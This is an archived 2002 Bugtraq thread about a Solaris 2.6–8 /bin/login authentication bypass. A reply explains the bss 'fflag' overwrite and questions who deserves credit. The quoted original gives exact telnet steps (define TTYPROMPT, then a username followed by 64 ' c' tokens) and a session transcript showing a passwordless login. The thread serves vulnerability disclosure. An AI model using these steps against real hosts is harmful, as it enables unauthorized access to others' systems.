RE: Solaris 2.6, 7, 8

["Sinan Eren" <SEren () entercept com>]

the problem is there exists an authentication flag called the "fflag" just after the array that gets overflowed in the 
.bss segment. this is an array of char pointers so when it is overflowed becuase of an mismanagement on the indexing of 
this array the fflag gets overwritten with an valid address on .bss segment. this is good enough to satify the 
if(fflag) condition and spawn a shell.

some truth about this finding;
There is an exploit out in the wild for sometime and the example pattern shown by Jonathan is exactly thesame with the 
payload of that exploit. so i'm curious about this findings origin, i think credits must be given due... i'll be 
waiting for a clerification form Mr. Stuart. 

thanks,
sinan

-----Original Message-----
From: Jonathan S [mailto:js () APOLLO GTI NET]
Sent: Wednesday, October 02, 2002 9:13 AM
To: bugtraq () securityfocus com
Subject: Solaris 2.6, 7, 8


Hello,

  Solaris 2.6, 7, and 8 /bin/login has a vulnerability involving the
environment variable TTYPROMPT.  This vulnerability has already been
reported to BugTraq and a patch has been released by Sun.
  However, a very simple exploit, which does not require any code to be
compiled by an attacker, exists.  The exploit requires the attacker to
simply define the environment variable TTYPROMPT to a 6 character string,
inside telnet. I believe this overflows an integer inside login, which
specifies whether or not the user has been authenticated (just a guess).
Once connected to the remote host, you must type the username, followed by
64 " c"s, and a literal "\n".  You will then be logged in as the user
without any password authentication.  This should work with any account
except root (unless remote root login is allowed).

Example:

coma% telnet
telnet> environ define TTYPROMPT abcdef
telnet> o localhost

SunOS 5.8

bin c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c
c c c c c c c c c c c c c c c c c c c c c c c c c c c c c\n
Last login: whenever
$ whoami
bin

Jonathan Stuart
Network Security Engineer
Computer Consulting Partners, Ltd.
E-mail: jons () ccpartnersltd com